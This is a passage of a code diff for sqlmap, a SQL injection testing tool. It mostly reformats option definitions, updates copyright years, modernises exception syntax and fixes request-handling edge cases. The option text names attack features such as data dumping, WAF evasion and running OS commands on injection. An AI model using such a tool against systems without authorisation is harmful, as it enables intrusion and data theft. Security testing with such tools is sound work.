-                            help="Check Internet connection before assessing the target")
+        general.add_option("--check-internet", dest="checkInternet", action="store_true",
+                           help="Check Internet connection before assessing the target")
 
         general.add_option("--crawl", dest="crawlDepth", type="int",
-                            help="Crawl the website starting from the target URL")
+                           help="Crawl the website starting from the target URL")
 
         general.add_option("--crawl-exclude", dest="crawlExclude",
                            help="Regexp to exclude pages from crawling (e.g. \"logout\")")
 
         general.add_option("--csv-del", dest="csvDel",
-                                  help="Delimiting character used in CSV output "
-                                  "(default \"%s\")" % defaults.csvDel)
+                           help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
 
         general.add_option("--charset", dest="charset",
                            help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
 
         general.add_option("--dump-format", dest="dumpFormat",
-                                  help="Format of dumped data (CSV (default), HTML or SQLITE)")
+                           help="Format of dumped data (CSV (default), HTML or SQLITE)")
 
         general.add_option("--encoding", dest="encoding",
-                            help="Character encoding used for data retrieval (e.g. GBK)")
+                           help="Character encoding used for data retrieval (e.g. GBK)")
 
-        general.add_option("--eta", dest="eta",
-                            action="store_true",
-                            help="Display for each output the estimated time of arrival")
+        general.add_option("--eta", dest="eta", action="store_true",
+                           help="Display for each output the estimated time of arrival")
 
-        general.add_option("--flush-session", dest="flushSession",
-                            action="store_true",
-                            help="Flush session files for current target")
+        general.add_option("--flush-session", dest="flushSession", action="store_true",
+                           help="Flush session files for current target")
 
-        general.add_option("--forms", dest="forms",
-                                  action="store_true",
-                                  help="Parse and test forms on target URL")
+        general.add_option("--forms", dest="forms", action="store_true",
+                           help="Parse and test forms on target URL")
 
-        general.add_option("--fresh-queries", dest="freshQueries",
-                            action="store_true",
-                            help="Ignore query results stored in session file")
+        general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
+                           help="Ignore query results stored in session file")
 
         general.add_option("--har", dest="harFile",
                            help="Log all HTTP traffic into a HAR file")
 
-        general.add_option("--hex", dest="hexConvert",
-                            action="store_true",
-                            help="Use DBMS hex function(s) for data retrieval")
+        general.add_option("--hex", dest="hexConvert", action="store_true",
+                           help="Use DBMS hex function(s) for data retrieval")
 
-        general.add_option("--output-dir", dest="outputDir",
-                            action="store",
-                            help="Custom output directory path")
+        general.add_option("--output-dir", dest="outputDir", action="store",
+                           help="Custom output directory path")
 
-        general.add_option("--parse-errors", dest="parseErrors",
-                                  action="store_true",
-                                  help="Parse and display DBMS error messages from responses")
+        general.add_option("--parse-errors", dest="parseErrors", action="store_true",
+                           help="Parse and display DBMS error messages from responses")
 
         general.add_option("--save", dest="saveConfig",
-                            help="Save options to a configuration INI file")
+                           help="Save options to a configuration INI file")
 
         general.add_option("--scope", dest="scope",
                            help="Regexp to filter targets from provided proxy log")
@@ -697,77 +601,65 @@ def cmdLineParser(argv=None):
         general.add_option("--test-skip", dest="testSkip",
                            help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
 
-        general.add_option("--update", dest="updateAll",
-                            action="store_true",
-                            help="Update sqlmap")
+        general.add_option("--update", dest="updateAll", action="store_true",
+                           help="Update sqlmap")
 
         # Miscellaneous options
         miscellaneous = OptionGroup(parser, "Miscellaneous")
 
         miscellaneous.add_option("-z", dest="mnemonics",
-                               help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
+                                 help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
 
         miscellaneous.add_option("--alert", dest="alert",
-                                  help="Run host OS command(s) when SQL injection is found")
+                                 help="Run host OS command(s) when SQL injection is found")
 
         miscellaneous.add_option("--answers", dest="answers",
-                                  help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set question answers (e.g. \"quit=N,follow=N\")")
 
         miscellaneous.add_option("--beep", dest="beep", action="store_true",
-                                  help="Beep on question and/or when SQL injection is found")
+                                 help="Beep on question and/or when SQL injection is found")
 
-        miscellaneous.add_option("--cleanup", dest="cleanup",
-                                  action="store_true",
-                                  help="Clean up the DBMS from sqlmap specific "
-                                  "UDF and tables")
+        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
+                                 help="Clean up the DBMS from sqlmap specific UDF and tables")
 
-        miscellaneous.add_option("--dependencies", dest="dependencies",
-                                  action="store_true",
-                                  help="Check for missing (non-core) sqlmap dependencies")
+        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
+                                 help="Check for missing (non-core) sqlmap dependencies")
 
-        miscellaneous.add_option("--disable-coloring", dest="disableColoring",
-                                  action="store_true",
-                                  help="Disable console output coloring")
+        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
+                                 help="Disable console output coloring")
 
         miscellaneous.add_option("--gpage", dest="googlePage", type="int",
-                                  help="Use Google dork results from specified page number")
+                                 help="Use Google dork results from specified page number")
 
-        miscellaneous.add_option("--identify-waf", dest="identifyWaf",
-                                  action="store_true",
-                                  help="Make a thorough testing for a WAF/IPS/IDS protection")
+        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
+                                 help="Make a thorough testing for a WAF/IPS/IDS protection")
 
-        miscellaneous.add_option("--mobile", dest="mobile",
-                                  action="store_true",
-                                  help="Imitate smartphone through HTTP User-Agent header")
+        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
+                                 help="Imitate smartphone through HTTP User-Agent header")
 
-        miscellaneous.add_option("--offline", dest="offline",
-                                  action="store_true",
-                                  help="Work in offline mode (only use session data)")
+        miscellaneous.add_option("--offline", dest="offline", action="store_true",
+                                 help="Work in offline mode (only use session data)")
 
-        miscellaneous.add_option("--purge-output", dest="purgeOutput",
-                                  action="store_true",
-                                  help="Safely remove all content from output directory")
+        miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
+                                 help="Safely remove all content from output directory")
 
-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
+                                 help="Skip heuristic detection of WAF/IPS/IDS protection")
 
-        miscellaneous.add_option("--smart", dest="smart",
-                                  action="store_true",
-                                  help="Conduct thorough tests only if positive heuristic(s)")
+        miscellaneous.add_option("--smart", dest="smart", action="store_true",
+                                 help="Conduct thorough tests only if positive heuristic(s)")
 
         miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                                  help="Prompt for an interactive sqlmap shell")
+                                 help="Prompt for an interactive sqlmap shell")
 
         miscellaneous.add_option("--tmp-dir", dest="tmpDir",
-                                  help="Local directory for storing temporary files")
+                                 help="Local directory for storing temporary files")
 
         miscellaneous.add_option("--web-root", dest="webRoot",
-                                  help="Web server document root directory (e.g. \"/var/www\")")
+                                 help="Web server document root directory (e.g. \"/var/www\")")
 
-        miscellaneous.add_option("--wizard", dest="wizard",
-                                  action="store_true",
-                                  help="Simple wizard interface for beginner users")
+        miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
+                                 help="Simple wizard interface for beginner users")
 
         # Hidden and/or experimental options
         parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +683,9 @@ def cmdLineParser(argv=None):
         parser.add_option("--force-dns", dest="forceDns", action="store_true",
                           help=SUPPRESS_HELP)
 
+        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
+                          help=SUPPRESS_HELP)
+
         parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                           help=SUPPRESS_HELP)
 
@@ -909,7 +804,7 @@ def cmdLineParser(argv=None):
                 for arg in shlex.split(command):
                     argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
             except ValueError, ex:
-                raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
+                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
 
         for i in xrange(len(argv)):
             if argv[i] == "-hh":
@@ -976,9 +871,7 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
-            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
-            args.purgeOutput, args.sitemapUrl)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
             errMsg += "use -h for basic or -hh for advanced help\n"
             parser.error(errMsg)

lib/parse/configfile.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/handler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/headers.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -24,18 +24,16 @@ def headersParser(headers):
     if not kb.headerPaths:
         kb.headerPaths = {
             "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
-            "server":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
-            "servlet-engine":                  os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
-            "set-cookie":                      os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
-            "x-aspnet-version":                os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
-            "x-powered-by":                    os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
+            "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
+            "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
+            "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
+            "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
+            "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
         }
 
-    for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
+    for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
         value = headers[header]
         xmlfile = kb.headerPaths[header]
-
         handler = FingerprintHandler(value, kb.headersFp)
-
         parseXmlFile(xmlfile, handler)
         parseXmlFile(paths.GENERIC_XML, handler)

lib/parse/html.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/payloads.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -78,7 +78,7 @@ def loadBoundaries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     root = doc.getroot()
     parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
             errMsg = "something appears to be wrong with "
             errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
             errMsg += "sure that you haven't made any changes to it"
-            raise SqlmapInstallationException, errMsg
+            raise SqlmapInstallationException(errMsg)
 
         root = doc.getroot()
         parseXmlNode(root)

lib/parse/sitemap.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
             content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
         except httplib.InvalidURL:
             errMsg = "invalid URL given for sitemap ('%s')" % url
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
             if abortedFlag:

lib/request/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/basic.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -18,11 +18,13 @@ from lib.core.common import extractErrorMessage
 from lib.core.common import extractRegexResult
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getUnicode
+from lib.core.common import isListLike
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
+from lib.core.common import unArrayizeValue
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -59,7 +61,7 @@ def forgeHeaders(items=None, base=None):
         if items[_] is None:
             del items[_]
 
-    headers = OrderedDict(base or conf.httpHeaders)
+    headers = OrderedDict(conf.httpHeaders if base is None else base)
     headers.update(items.items())
 
     class _str(str):
@@ -108,7 +110,9 @@ def forgeHeaders(items=None, base=None):
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
 
                     if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        def _(value):
+                            return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
+
                         headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
 
                         if PLACE.COOKIE in conf.parameters:
@@ -150,13 +154,16 @@ def checkCharEncoding(encoding, warn=True):
     'utf8'
     """
 
+    if isListLike(encoding):
+        encoding = unArrayizeValue(encoding)
+
     if encoding:
         encoding = encoding.lower()
     else:
         return encoding
 
     # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
 
     for delimiter in (';', ',', '('):
         if delimiter in encoding:
@@ -213,7 +220,7 @@ def checkCharEncoding(encoding, warn=True):
     try:
         codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
     except (LookupError, ValueError):
-        if warn:
+        if warn and ' ' not in encoding:
             warnMsg = "unknown web page charset '%s'. " % encoding
             warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
             singleTimeLogMessage(warnMsg, logging.WARN, encoding)
@@ -299,8 +306,7 @@ def decodePage(page, contentEncoding, contentType):
 
         metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
 
-        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
-            or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
+        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
             kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
             debugMsg = "declared web page charset '%s'" % kb.pageEncoding
             singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@@ -328,7 +334,7 @@ def decodePage(page, contentEncoding, contentType):
 
             kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
-            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                 kb.pageEncoding = "utf-8"
                 if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                     page = page[3:]

lib/request/basicauthhandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
             self.retried_count = 0
         else:
             if self.retried_count > 5:
-                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
-                                headers, None)
+                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
             else:
                 self.retried_count += 1
 
-        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
-                        self, auth_header, host, req, headers)
+        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)

lib/request/comparison.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -106,16 +106,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
         # Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
         # (e.g. if one page is PDF and the other is HTML)
         if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
-            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
+            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
         elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
-            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
+            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
 
-        if seqMatcher.a and page and seqMatcher.a == page:
-            ratio = 1
+        if any(_ is None for _ in (page, seqMatcher.a)):
+            return None
+        elif seqMatcher.a and page and seqMatcher.a == page:
+            ratio = 1.
         elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
-            ratio = 1.0 * len(seqMatcher.a) / len(page)
-            if ratio > 1:
-                ratio = 1. / ratio
+            if not page or not seqMatcher.a:
+                return float(seqMatcher.a == page)
+            else:
+                ratio = 1. * len(seqMatcher.a) / len(page)
+                if ratio > 1:
+                    ratio = 1. / ratio
         else:
             seq1, seq2 = None, None
 

lib/request/connect.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import escapeJsonValue
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
 from lib.core.common import findMultipartPostBoundary
@@ -63,6 +64,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
@@ -187,13 +189,13 @@ class Connect(object):
 
         if not kb.dnsMode and conn:
             headers = conn.info()
-            if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
-              or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
+            if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
                 retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
                 if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
                     warnMsg = "large compressed response detected. Disabling compression"
                     singleTimeWarnMessage(warnMsg)
                     kb.pageCompress = False
+                    raise SqlmapCompressionException
             else:
                 while True:
                     if not conn:
@@ -241,27 +243,27 @@ class Connect(object):
             kb.requestCounter += 1
             threadData.lastRequestUID = kb.requestCounter
 
-        url = kwargs.get("url",                     None) or conf.url
-        get = kwargs.get("get",                     None)
-        post = kwargs.get("post",                   None)
-        method = kwargs.get("method",               None)
-        cookie = kwargs.get("cookie",               None)
-        ua = kwargs.get("ua",                       None) or conf.agent
-        referer = kwargs.get("referer",             None) or conf.referer
-        host = kwargs.get("host",                   None) or conf.host
-        direct_ = kwargs.get("direct",              False)
-        multipart = kwargs.get("multipart",         None)
-        silent = kwargs.get("silent",               False)
-        raise404 = kwargs.get("raise404",           True)
-        timeout = kwargs.get("timeout",             None) or conf.timeout
-        auxHeaders = kwargs.get("auxHeaders",       None)
-        response = kwargs.get("response",           False)
+        url = kwargs.get("url", None) or conf.url
+        get = kwargs.get("get", None)
+        post = kwargs.get("post", None)
+        method = kwargs.get("method", None)
+        cookie = kwargs.get("cookie", None)
+        ua = kwargs.get("ua", None) or conf.agent
+        referer = kwargs.get("referer", None) or conf.referer
+        host = kwargs.get("host", None) or conf.host
+        direct_ = kwargs.get("direct", False)
+        multipart = kwargs.get("multipart", None)
+        silent = kwargs.get("silent", False)
+        raise404 = kwargs.get("raise404", True)
+        timeout = kwargs.get("timeout", None) or conf.timeout
+        auxHeaders = kwargs.get("auxHeaders", None)
+        response = kwargs.get("response", False)
         ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
-        refreshing = kwargs.get("refreshing",       False)
-        retrying = kwargs.get("retrying",           False)
-        crawling = kwargs.get("crawling",           False)
-        checking = kwargs.get("checking",           False)
-        skipRead = kwargs.get("skipRead",           False)
+        refreshing = kwargs.get("refreshing", False)
+        retrying = kwargs.get("retrying", False)
+        crawling = kwargs.get("crawling", False)
+        checking = kwargs.get("checking", False)
+        skipRead = kwargs.get("skipRead", False)
 
         if multipart:
             post = multipart
@@ -346,7 +348,7 @@ class Connect(object):
             requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
 
             # Prepare HTTP headers
-            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
+            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
 
             if HTTP_HEADER.COOKIE in headers:
                 cookie = headers[HTTP_HEADER.COOKIE]
@@ -428,8 +430,10 @@ class Connect(object):
                     method = unicodeencode(method)
                     req = MethodRequest(url, post, headers)
                     req.set_method(method)
-                else:
+                elif url is not None:
                     req = urllib2.Request(url, post, headers)
+                else:
+                    return None, None, None
 
                 requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
 
@@ -479,8 +483,7 @@ class Connect(object):
 
                 # Get HTTP response
                 if hasattr(conn, "redurl"):
-                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
-                    else Connect._connReadProxy(conn)) if not skipRead else None
+                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                     skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                     code = conn.redcode
                 else:
@@ -495,7 +498,7 @@ class Connect(object):
                     responseHeaders = {}
 
                 page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg) if conn else None
+                status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
 
             kb.connErrorCounter = 0
 
@@ -578,7 +581,7 @@ class Connect(object):
                 page = page if isinstance(page, unicode) else getUnicode(page)
 
             code = ex.code
-            status = getUnicode(ex.msg)
+            status = getSafeExString(ex)
 
             kb.originalCode = kb.originalCode or code
             threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
@@ -684,6 +687,9 @@ class Connect(object):
                 status = re.search(r"Handshake status ([\d]{3})", tbMsg)
                 errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
                 raise SqlmapConnectionException(errMsg)
+            elif "SqlmapCompressionException" in tbMsg:
+                warnMsg = "problems with response (de)compression"
+                retrying = True
             else:
                 warnMsg = "unable to connect to the target URL"
 
@@ -719,7 +725,7 @@ class Connect(object):
                 else:
                     logger.debug(warnMsg)
                 return Connect._retryProxy(**kwargs)
-            elif kb.testMode:
+            elif kb.testMode or kb.multiThreadMode:
                 logger.critical(warnMsg)
                 return None, None, None
             else:
@@ -766,7 +772,8 @@ class Connect(object):
         return page, responseHeaders, code
 
     @staticmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
+    @stackedmethod
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -813,7 +820,7 @@ class Connect(object):
                 conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
 
         if payload:
-            if kb.tamperFunctions:
+            if not disableTampering and kb.tamperFunctions:
                 for function in kb.tamperFunctions:
                     try:
                         payload = function(payload=payload, headers=auxHeaders)
@@ -837,16 +844,10 @@ class Connect(object):
                     # with their HTML encoded counterparts
                     payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                 elif kb.postHint == POST_HINT.JSON:
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                 elif kb.postHint == POST_HINT.JSON_LIKE:
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                 value = agent.replacePayload(value, payload)
             else:
@@ -862,7 +863,9 @@ class Connect(object):
                             skip = True
 
                     if not skip:
-                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
+                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
+                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                         value = agent.replacePayload(value, payload)
                         postUrlEncode = False
 
@@ -932,9 +935,9 @@ class Connect(object):
 
         if value and place == PLACE.CUSTOM_HEADER:
             if value.split(',')[0].capitalize() == PLACE.COOKIE:
-                cookie = value.split(',', 1)[1]
+                cookie = value.split(',', 1)[-1]
             else:
-                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
 
         if conf.csrfToken:
             def _adjustParameter(paramString, parameter, newValue):
@@ -981,7 +984,7 @@ class Connect(object):
                     if not conf.csrfUrl:
                         errMsg += ". You can try to rerun by providing "
                         errMsg += "a valid value for option '--csrf-url'"
-                    raise SqlmapTokenException, errMsg
+                    raise SqlmapTokenException(errMsg)
 
             if token:
                 token = token.strip("'\"")
